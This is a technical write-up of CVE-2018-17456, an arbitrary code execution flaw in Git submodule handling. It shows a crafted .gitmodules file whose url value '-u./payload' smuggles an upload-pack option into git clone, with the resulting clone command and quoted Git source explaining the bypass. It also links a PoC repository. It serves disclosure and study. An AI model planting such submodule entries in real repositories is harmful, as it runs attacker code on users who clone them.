exploit the possibilities

Git Submodule Arbitrary Code Execution

Git Submodule Arbitrary Code Execution
Posted Oct 17, 2018
Authored by joernchen

This write up provides a proof of concept with technical details for the git submodule arbitrary code execution vulnerability.

tags | exploit, arbitrary, code execution, proof of concept
advisories | CVE-2018-17456
MD5 | 8b90c70cc560ce019f65408cbaa40ac8

Git Submodule Arbitrary Code Execution

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# CVE-2018-17456

I've gotten a couple of questions about exploitation for the
[recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we
go with some technical details.

## TL;DR

[Here](https://github.com/joernchen/poc-submodule) is a PoC repository.
EDB Note: Mirror ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45631.zip

## Exploitation

The `.gitmodules` file looks as follows:

```
[submodule "x:x"]
path = x:x
url = -u./payload
```

The actual command being injected is set by the url, `-u./payload`
points the `upload-pack` flag of git clone to the `payload` shell
script. Note also the `:` within the path, this part is needed to
actually get the `payload` script executed.

The path will end up as the repository URL in the subsequent `clone`
operation:

```
execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...
```

As the actual URL from `.gitmodules` is interpreted as the `-u`
argument.

The colon is due to the fact, that the colon character let us go past
those lines in `transport.c`:

```c
} else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
transport_check_allowed("file");
ret->data = data;
ret->vtable = &bundle_vtable;
ret->smart_options = NULL;
```

Due to `url_is_local_not_ssh` will return false due to the colon
in the path. And therefore later on in the code the smart_options
containing the `uploadpack` setting are still in place:

```c
} else {
/* Unknown protocol in URL. Pass to external handler. */
int len = external_specification_len(url);
char *handler = xmemdupz(url, len);
transport_helper_init(ret, handler);
}

if (ret->smart_options) {
ret->smart_options->thin = 1;
ret->smart_options->uploadpack = "git-upload-pack";
if (remote->uploadpack)
ret->smart_options->uploadpack = remote->uploadpack;
ret->smart_options->receivepack = "git-receive-pack";1
if (remote->receivepack)
ret->smart_options->receivepack = remote->receivepack;
}
```

## Further hints

The constraint to have a colon in the `path` seems to hinder exploitation on Windows
as a colon is a forbidden character within a path on Windows. However as noted by
some people during the disclosure: Git running within the Windows Subsystem for Linux or
cygwin will allow exploitation on Windows hosts.

Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)
earlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592).

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